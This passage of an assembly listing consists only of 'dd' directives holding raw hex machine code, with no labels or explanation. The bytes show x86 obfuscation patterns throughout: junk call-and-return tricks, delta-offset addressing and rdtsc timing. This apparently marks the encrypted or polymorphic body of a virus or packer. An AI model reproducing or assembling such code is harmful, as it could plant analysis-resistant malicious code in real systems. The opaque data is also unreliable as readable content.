		dd 0CBCFCF13h, 0FAE1265h, 38Dh,	0DA8B6600h, 0A734B5FFh
		dd 6A0606h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 8A46DDC3h, 0DE59EA83h, 8993154Bh,	3027DB5h
		dd 0E1BD8B06h, 0FF060331h, 32F1995h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FE809h, 0C0B00000h
		dd 0AA67908Ch, 0C96AC05Eh, 0A06FA101h, 6DBF6619h, 0B58B5F3Dh
		dd 606A728h, 28BDB589h,	858B0603h, 603311Dh, 89DEB70Fh
		dd 0C486h, 59BD3100h, 8B06031Ah, 331D195h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 4C283A5h, 0F319D89h,	50890603h, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C53C2A4h
		dd 85891DEBh, 6031E8Dh,	0BBF3858Dh, 7E90606h, 8A000000h
		dd 75FF9BD7h, 86894C74h, 0B8h, 0D968F781h, 6A5B08h, 34B5FFF9h
		dd 6A0606A7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B514C350h, 6F028764h,	0B195FFFBh
		dd 6A06031Ch, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 53F2C353h, 0CA7127BCh,	8972C3EBh
		dd 3281D85h, 37B35006h,	57243489h, 14E8h, 0C2B03C00h, 0B2B0CC67h
		dd 0E3207BCDh, 97909CE2h, 556C58B8h, 799BB37h, 5F5F28C1h
		dd 0A734B5FFh, 9D8B0606h, 6032549h, 853A64BFh, 6595FF3Ah
		dd 53060311h, 14E960h, 179B0000h, 708C0CCh, 2415178h, 0BA7E70D9h
		dd 0F760A78h, 7E95CC2h,	96000000h, 0C50F8F42h, 5F61CF83h
		dd 19558529h, 0BD830603h, 6031795h, 2A840F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 338DC356h, 0BB1FFB34h, 24348950h,	0F9C9C7BFh
		dd 34B5FF6Ch, 0E90606A7h, 10h, 7B5C14FBh, 0FE0BA0F1h, 614F6371h
		dd 0DF3999C4h, 66195FFh, 14E90603h, 57000000h, 47864D8h
		dd 634140FDh, 0A6044B5Fh, 180C7226h, 9698839h, 310E59Dh
		dd 34B5FF06h, 660606A7h, 0FF40ECBFh, 30AE195h, 8913BF06h
		dd 0BD8B0010h, 6030BF9h, 218DBD83h, 0F020603h, 8884h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0EC987754h, 0B589C667h, 6032525h, 1FD858Bh, 6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 753E2DC3h, 9E79CF6Dh, 0F60604Ch, 0AE8D8B7h, 0A6000000h
		dd 1BF72625h, 0E7BF25E9h, 66615B90h, 8961D38Bh,	30599B5h
		dd 0AD9D8B06h, 0C6060322h, 8B0F0000h, 9, 3850Fh, 8B660000h
		dd 0B985C7FAh, 60330h, 8A000000h, 0F260E9DCh, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 510A55C3h, 0EE9h, 2FEFDF00h,	5C1381E9h, 5809CDC8h, 5B04DD27h
		dd 0B2DBD8Bh, 0C18B0603h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 57C35040h, 0FB8B686Bh, 2811858Dh, 6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 685D3AC3h, 9BF8AF61h, 0F1BD8BBEh, 90060311h,	0DE850h
		dd 0ADF70000h, 0E484CFA2h, 0AA295026h, 8A297440h, 6A905FDCh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8BD63327h, 32DC19Dh, 0F006A06h, 68Ch, 0ED958900h
		dd 8D06030Ch, 7B76485h,	0FC576006h, 75B58B5Bh, 61060328h
		dd 905C083h, 3228995h, 52505006h, 310F5F56h, 0F6A0BB66h
		dd 489585Ah, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0C8CE1F28h, 0D9B70F9Fh, 6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 4610EEC3h, 40A20487h, 0BF6682BCh, 0F98B54EEh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 5CC1D0C3h, 308CBB16h, 0F88B31D6h, 0CC995FFh,	95890603h
		dd 6030FCDh, 97478D8Dh,	0BAB30606h, 0BD83D1FFh,	6031E91h
		dd 61850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0AD0C350h, 38FEA05Eh
		dd 6A8C84B7h, 0E1D78002h, 0EE960h, 23590000h, 2F1BEDDEh
		dd 81280E65h, 0EFDCD65Ch, 8E9h,	56182300h, 0AC80E1D1h
		dd 66506144h, 89DD01BFh, 62B72404h, 1CB195FFh, 0BD890603h
		dd 6033289h, 0D5FE9h, 0E800h, 815D0000h, 7B76EEDh, 6890F06h
		dd 8B000000h, 304919Dh,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0B1C53559h, 858DE0E1h
		dd 6068889h, 8B61F960h,	311D99Dh, 8E0F9006h, 3,	50FE8B66h
		dd 90D98B66h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	62C35242h, 9F0BDF85h, 0F1BD89D8h, 64060321h, 35FFh
		dd 0B9600000h, 47E8DE01h
		dd 896461F5h, 25h, 25BD2B00h, 0FF060325h, 32A1585h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0FF6AE02Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	73C35747h, 8051E9DFh, 0B5FFEACFh, 60322F9h, 1A0D8589h
		dd 95FF0603h, 6032015h,	0FFE9h,	0B0F900h, 12D59D8Bh, 70E60603h
		dd 0EE496BBh, 8971E46Fh, 304E99Dh, 0F613C06h, 0DF83h, 0D9F38100h
		dd 0F5EBF2Ch, 950C8B6h,	3120D8Dh, 6BA5B06h, 0F8000000h
		dd 0BD23C18Bh, 60326D5h, 2904E8C1h, 312D18Dh, 0E2F76606h
		dd 2BDA8B66h, 8BF98BC8h, 0BE860D1h, 0DB000000h,	93804E94h
		dd 57B7B163h, 0F5E7EF0h, 680h, 0A9B58900h, 61060303h, 87E9h
		dd 0F3816600h, 858B1BE3h, 8, 50A6BB66h,	0BB07C083h, 59EA0BB1h
		dd 8B00C083h, 325199Dh,	0FD03B06h, 1683h, 8B666000h, 0D98D31F0h
		dd 6106030Fh, 4FE9h, 759D8B00h,	8B060319h, 0FFFFFF8Dh
		dd 9E9FFh, 5A9B0000h, 52662108h, 83943B79h, 840F01E1h
		dd 2Ch,	0DE9h, 0A4840F00h, 449DD6CFh, 3005241Bh, 0A583F2E3h
		dd 0FFFFFFFFh, 0BB6650FEh, 895BC5E1h, 895h, 0E99AB300h
		dd 0
		dd 36E5B58Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0CD0322C3h, 78AB6022h, 2BB760B5h
		dd 9D03006Ah, 6030B69h,	1FB995FFh, 6A0603h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B5F0F4C3h
		dd 2D3F8968h, 8D29E0E8h, 6032459h, 0EC7B9h, 33B75600h
		dd 0FCE1835Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0ADC35141h, 4CA6FA1Ch, 0CE917h,	0B8950000h, 0A205AEC6h
		dd 5AB2F7F7h, 8E84799h,	0FF000000h, 2624E6CDh, 0E9444E10h
		dd 14h,	4D512C1Ch, 0D0E18167h, 6A7D888Dh, 0FEDE0264h, 80D584EEh
		dd 6AFC5Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 9D03BFC3h, 6030651h, 2A85BD29h, 0C02B0603h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0FBC35646h
		dd 8B665EADh, 66D22BD9h, 351CC381h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 243D9D03h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 191DEC3h, 3205D9Dh, 7E906h
		dd 37800000h, 96B6AA8Fh, 880D1Eh, 12E90000h, 0BB000000h
		dd 0EC5763F9h, 8F43DDB4h, 0E576A066h, 0B4D58080h, 0D1958B84h
		dd 66060331h, 2B90CF81h, 1E18D8Bh, 6A0603h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0FE68AC3h
		dd 685h, 69858900h, 5006030Bh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 57006AD3h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 61D3E672h, 9DBD31A0h
		dd 8306030Fh, 31D65BDh,	840F0006h, 2Eh,	0DE8h, 4023FB00h
		dd 8E1285F7h, 86E67FCDh, 0FA8BB914h, 0B85Fh, 8DF50000h
		dd 34D1C8Dh, 79B52906h,	0FF060313h, 0DF8166E1h,	0BD83C0BEh
		dd 60321BDh, 0C4840F00h, 8B000004h, 330D19Dh, 0CDBD8B06h
		dd 83060324h, 321BDBDh,	840F0106h, 4C6h, 0FA2ED381h, 0BD834080h
		dd 60321BDh, 7D860F03h,	6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0DFD5C352h
		dd 6810Fh, 0B5310000h, 6030B01h, 719D8B60h, 6606031Bh
		dd 0B589D98Ch, 6032D79h, 0E904E180h, 11h, 1F41A496h, 73B59DA1h
		dd 0FF45A5D5h, 4CC9FFh,	7E9DEh,	0A8EF0000h, 84F943Ah, 0FC90A1Ch
		dd 19684h, 5858900h, 8B060302h,	313C185h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 7E513FDDh, 0E38166A9h, 0FE9EAA8h, 2F000000h,	0C9C7228Ah
		dd 1BDF55E4h, 613C0E31h, 85337C3Bh, 6031C79h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 0E9525090h
		dd 10h,	0EC209E85h, 0A07D2ECFh,	0B64F02A7h, 68A796A1h
		dd 8B66310Fh, 50585AD9h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 7F4F41F4h, 0DD9A16C8h
		dd 6A2F59h, 3EEB8166h, 8DB529EAh, 0E8060330h, 4, 1F03FFh
		dd 0E8D08B60h, 13h, 0A1710C21h,	0E885F53Fh, 89A0BF08h
		dd 1B5B0AE7h, 8BB9B18Dh, 50615AD0h, 448B8DB3h, 0A6BF0424h
		dd 8B6CB0BEh, 0D7BB6600h, 24448947h, 0D98B6604h, 6E85758h
		dd 85000000h, 2CF424DCh, 11E809h, 0CADB0000h, 45450B3Dh
		dd 0CDD5CBDFh, 99A55154h, 5B046378h, 95FF5F5Bh,	6031405h
		dd 30958529h, 85890603h, 606A734h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0C35343h, 0AB2746B0h, 20F58529h
		dd 0EF810603h, 6F1521E5h, 20AE9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0A3BA72Fh
		dd 99D4D57h, 6660D988h,	890FD98Bh, 2, 8B616160h, 6A72C85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 0E45EA66Ch, 10B59D29h, 0C70603h,	18h, 5E8h
		dd 5C276100h, 8B66CA9Ch, 0B58B5FFAh, 606A730h, 14840Fh
		dd 0FE90000h, 14000000h, 71088A9Dh, 1D935C5h, 4B28C851h
		dd 858B1BEFh, 603128Dh,	0C119589h, 6890603h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5C35242h, 5EA3A396h
		dd 13C1858Bh, 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 9F5F17C3h, 0BE5DC8CCh, 14099D8Bh
		dd 0F600603h, 1780h, 12E900h, 56120000h, 0B60C902Bh, 0A02E48D0h
		dd 2444882Eh, 9ACDEB5Ch, 8961CBB7h, 6A0446h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 192EF3C3h
		dd 14E9D88Bh, 9E000000h, 8D9B3D5Ah, 0A2F94831h,	2DA14FA3h
		dd 0A163C3EAh, 96C22879h, 0AE9h, 2462D800h, 0F0421122h
		dd 5078C933h, 5FFB8B52h, 57006A96h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 9EA435DEh, 49950151h
		dd 5B06031Eh, 0A72CB5FFh, 6A0606h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 8167FAC3h, 0C2597CDBh
		dd 0A100687Ch, 481BE7Bh, 0A362FF24h, 75BD8B41h,	8D060323h
		dd 6A73485h, 0F99D0106h, 5006030Ch, 310F5250h, 585A5F53h
		dd 33240489h, 31D2DBDh,	595FF06h, 6A060314h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 77AEC353h, 0CB0834C2h, 6191805Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0F6C35343h,	94FC4103h, 85C716F9h
		dd 60321BDh, 3,	0E2B86660h, 5DF1808Bh, 34BD8361h, 606A7h
		dd 66840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 8915DBC3h, 3317985h, 0DE806h, 21330000h
		dd 6540411Fh, 1B341339h, 8BE06334h, 303D5BDh, 40E95F06h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 1B59C352h, 9D8B14FBh, 6033111h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 66C08B00h
		dd 837B83BFh, 321BDBDh,	850F0306h, 3CFh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 8DC35747h, 0BEBFA67Fh
		dd 34BD83E6h, 606A7h, 3A1840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 24DE48C3h
		dd 85661A5Eh, 12D19589h, 0FE8B0603h, 0A734B5FFh, 6A0606h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0E1E465C3h, 80C6A41Dh, 95FF66EBh, 6032E05h, 0A728B58Bh
		dd 0BD030606h, 6031D19h, 0C8A0Fh, 8A0F0000h, 6,	2DF59D8Bh
		dd 6C70603h, 10001h, 8E0F781h, 8166751Dh, 969A50C3h, 6830F50h
		dd 50000000h, 5A310F52h, 96505B58h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 95C35545h, 9810Fh, 8B600000h
		dd 32AA18Dh, 0B761F806h, 34B5FFD4h, 8B0606A7h, 1995FFDFh
		dd 8906032Fh, 3033585h,	28B58B06h, 810606A7h, 66E700D7h
		dd 1D858B35h, 89060331h, 320A985h, 0C4868906h, 89000000h
		dd 32A71BDh, 0D1958B06h, 6A060331h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 602BC356h
		dd 7FD08166h, 9D8B61B1h, 6031371h, 6A04C283h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0EA43C351h, 12FB799h, 0F6BF66CFh, 205089C8h,	0F3858DF5h
		dd 6A0606BBh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0D900C350h, 32F55A66h,	45A64512h
		dd 7BA4CB81h, 86896235h, 0B8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0FAC35747h,	0A4D0022Eh, 6A58CBh
		dd 32158589h, 0B5FF0603h, 606A734h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0B6C35545h,	0B195FF9Fh, 6A06031Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0C8F9C355h, 753C6240h, 6850F33h, 8B000000h
		dd 3261D9Dh, 7E85006h, 0F4000000h, 6D63AF52h, 11E9E99Dh
		dd 2F000000h, 0C4FA4AFCh, 0FF88FFB8h, 3F127CD8h, 2F5A203Ch
		dd 2434895Bh, 8B0Fh, 0B5FF0000h, 606A734h, 106D8D89h, 95FF0603h
		dd 6031165h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	6CC35747h, 66577EF9h, 6292EB81h, 3DBD8B5Bh, 8306032Dh
		dd 31795BDh, 840F0006h,	42h, 2425BD8Bh,	50960603h, 60310F52h
		dd 6E9h, 261C9900h, 663E3598h, 61D701BBh, 6650585Ah, 6A96F98Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 301AC353h, 0B5FFFC2Eh, 606A734h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0A0C35040h, 56E8D37Fh
		dd 0E8F74D61h, 13E98Ah,	7FF00000h, 7F00B3E3h, 78BD0773h
		dd 58A9BFC7h, 0B3BF9147h, 75BD8BBCh, 0FF060303h, 3066195h
		dd 34B5FF06h, 0F0606A7h, 95FFFFBFh, 6030AE1h, 14619D8Bh
		dd 0BD830603h, 603218Dh, 2F840F02h, 9000000h, 32909BDh
		dd 0FD858B06h, 0B060301h, 325E5BDh, 0C606h, 68C0Fh, 0B5890000h
		dd 60321DDh, 0D9958B60h, 89060325h, 3248DBDh, 85C76106h
		dd 60330B9h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1BC35141h
		dd 9B6B68C7h, 290DA023h, 313EDBDh, 0E9D3B706h, 0FFFFF396h
		dd 295BD89h, 0C18B0603h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 85C35646h, 0DAF9CAFh,	4F03844Ch, 31559D89h
		dd 0BD2B0603h, 60323E1h, 2811858Dh, 81660603h, 90A6F1D7h
		dd 33BBBF50h, 505B49C2h, 6A9051B3h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 62A5C352h
		dd 20EE422Fh, 6AD88BDCh, 0B1953100h, 6A060309h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 1337B4DEh, 8D4CBBBAh, 7C6A385h, 10E806h, 0DF4A0000h
		dd 3B9966E6h, 0ADC4B5F4h, 2F4EDD01h, 0CB802A9Eh, 0BD235F70h
		dd 6031CADh, 6A05C083h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 7EECC356h, 0D822D51Eh
		dd 0E8905649h, 14h, 0CAC64CC7h,	0BBBE3Ah, 5CFEDCB7h, 0EBD10045h
		dd 7A079A60h, 0CE8h, 0C54D0F00h, 357C31D9h, 799C010Ah
		dd 5B56B39Dh, 98B3505Bh, 6ADA8B90h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0BCCD4D07h
		dd 6AD719h, 19D18D89h, 95FF0603h, 6030CC9h, 41DF8166h
		dd 478D8D83h, 6A060697h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 6C14C351h, 0EE9h, 745DEE00h
		dd 996D4714h, 0F5589730h, 89D86E28h, 32F2D9Dh, 9D1FF06h
		dd 330D9BDh, 91BD8306h,	106031Eh, 6D850Fh, 9D290000h, 6031089h
		dd 32B7026Ah, 660EBB50h, 489090Dh, 0B195FF24h, 6A06031Ch
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0ADACC357h, 456FAC79h, 0B8641871h, 10E8h
		dd 878F4A00h, 8093CF87h, 4F5AC06Eh, 0F83BEDFEh,	13E897h
		dd 0F59F0000h, 74334DE5h, 0BB0EB692h, 0CCA31930h, 7AC67C8Ch
		dd 0E95F5B99h, 0DA3h, 0E8h, 0ED815D00h,	607C6ADh, 6AFA8Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 8B8131C3h, 0E1205DEh, 8889858Dh, 0D88B0606h,	0A1BF6690h
		dd 0BB6650D3h, 569091ABh, 35FF645Fh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 32C35646h
		dd 0A3728794h, 0B510931Fh, 64CB8188h, 6416F687h, 2589h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
		dd 56460000h, 275809C3h, 90C004DDh, 1585FF8Bh, 8B06032Ah
		dd 6AFF6AFBh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 68C3C355h, 30A9B5FFh, 6A0603h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 50A290C3h, 2DF58589h, 895F0603h, 32311BDh, 1595FF06h
		dd 0E9060320h, 11Eh, 0C38000B0h, 6670E630h, 71E4FE8Bh
		dd 8DD78166h, 0F613C8Dh, 10583h, 0D3816600h, 0B60FF80Ch
		dd 18509C8h, 0BA060314h, 6, 0D8A0Fh, 8E90000h, 57000000h
		dd 69634BBCh, 8B41F5E3h, 0AEEB80C1h, 0E904E8C1h, 10h, 0EE17FD05h
		dd 0C2DCFBA3h, 71E680DBh, 0DB75F47Bh, 0FE2F766h, 68Ch
		dd 25858900h, 2B06032Ch, 13E8C8h, 0B61A0000h, 0DA5E6486h
		dd 37AAC6ACh, 0B4655D39h, 22040714h, 816660B1h,	0BB5CD4E1h
		dd 0C3E7F7Fh, 0D18B5F61h, 68D0Fh, 9D030000h, 60320D9h
		dd 79E9h, 858BFC00h, 1,	30A59D2Bh, 0C0830603h, 0A1BD8B07h
		dd 83060326h, 9D8900C0h, 6032F2Dh, 830FD03Bh, 18h, 34DB8166h
		dd 48E969h, 81600000h, 7010E9E2h, 0F9958B3Ch, 6106030Ah
		dd 0FFFF8D8Bh, 8B66FFFFh, 1E183DFh, 28840Fh, 9D8B0000h
		dd 6031CF5h, 0FFFFA583h, 66FEFFFFh, 8B5234BFh, 330C9BDh
		dd 1958906h, 8B000000h,	331999Dh, 0E906h, 0B58D0000h, 60745ACh
		dd 2A218D89h, 6A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 54C35646h, 0B995FF55h, 6A06031Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 637CC353h, 1CD69C28h, 0FBB9BE15h, 8300000Eh,	6AFCE1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E88E07C3h, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 2623E1B2h, 0E3508015h
		dd 35B589D2h, 2B060328h, 870FC0h, 0BA000000h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A7C35545h
		dd 9CF11F91h, 9842249h,	4D9D8BE1h, 60060330h, 810Fh, 0AD610000h
		dd 0E8D1C233h, 0E983D003h, 89F47504h, 329E1BDh,	9DBD8B06h
		dd 0D06031Eh, 88h, 0FBC2DABBh, 25B50952h, 8B06030Bh, 331D195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 24EDD1AAh, 0BBD0A927h, 75E48C6Ch, 225B589h
		dd 8D8B0603h, 60301E1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0FFC35646h, 0EBE16AA8h, 81BD8956h, 5F060326h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0AE6F4FC3h, 9E98Ch, 33B30000h, 0FA566302h, 0F3CCA78h
		dd 183h, 6AF900h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 180424h, 56460000h, 0A4A869C3h, 895229A3h, 313F99Dh
		dd 0BD835B06h, 6031D65h, 7D840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8936C350h, 312A195h,	0B806h,	0BBB70000h, 4D1C8D8Dh
		dd 6A0603h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 2B7136C3h, 0E56A8495h, 85891C4Ch,	6031EDDh
		dd 6AE1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 47248DC3h, 0ED1A9F7Dh, 21BDBD83h,	0F000603h
		dd 4C284h, 0D6C78100h, 8304F4D2h, 321BDBDh, 840F0106h
		dd 4CAh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 14h,	60C35646h, 21BDBD83h, 0F030603h, 46B86h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0AED87105h, 46D819E7h, 9D896D9Fh, 6032E95h, 66F88B60h
		dd 669151BFh, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0EBE760C3h, 0C675612Eh, 80D88B66h
		dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0E0F27DC3h, 0E048722Ah, 9D8BDE20h, 60321E9h
		dd 840FC90Ah, 147h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 6EC35242h, 0F8BF0F51h, 13C1858Bh, 6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 17A52FC3h, 71889126h, 0BFD78045h, 0C4C78166h, 79853349h
		dd 6A06031Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 7F3DC352h, 0E93F6596h,	5049A6F1h
		dd 1B45BF66h, 6A240489h, 0DE8B6600h, 4E8h, 1F03FF00h, 0EE800h
		dd 4A140000h, 5A3A2E62h, 35D7D491h, 0D0945573h,	5F616057h
		dd 448B505Bh, 8B0424h, 4489D98Bh, 6A580424h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 72ECC351h, 852F3BAAh, 0FFDA8B66h, 3140595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 8E06BEDFh, 8955A7B9h, 321A985h, 34858906h, 600606A7h
		dd 8D0F60h, 60000000h, 9D096161h, 6031799h, 220E961h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 5D9F36C3h, 8BC4E380h, 6A72C85h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 74061455h
		dd 0C4740D47h, 0C77E02h, 18h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 17C35242h, 9DC7B63Dh, 0D0DAAA8Bh
		dd 5850Fh, 81660000h, 8B4BE6E7h, 6A730B5h, 79BB6606h, 8D858B47h
		dd 66060312h, 6048C781h, 89560689h, 31BBD9Dh, 858B5F06h
		dd 60313C1h, 2BE58D89h,	46890603h, 14E904h, 0E1B60000h
		dd 5946AA7Fh, 0D62F36C2h, 0A28FBF3Dh, 69946C69h, 669647FEh
		dd 6050DF8Bh, 615F5360h, 0FE9h,	4118C400h, 8E37490Bh, 0A4DF258h
		dd 0DAAD3F09h, 6A9661h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0BFB08FC3h, 7A0B3CD8h, 66D249ECh
		dd 0DE8BDA8Bh, 0A72CB5FFh, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E93169C3h
		dd 0Bh,	2B078195h, 2890C753h, 68914DA3h, 9B947052h, 14E8h
		dd 0C64F9200h, 945D4E1Bh, 17E46398h, 0B344754Fh, 0F53D2493h
		dd 11E9577Bh, 0BC000000h, 91F17AEEh, 19CF8D21h,	0F5C23E70h
		dd 0F6A704AAh, 4815B5Fh, 8A93AD24h, 52006A64h, 3E8h, 0C35A2000h
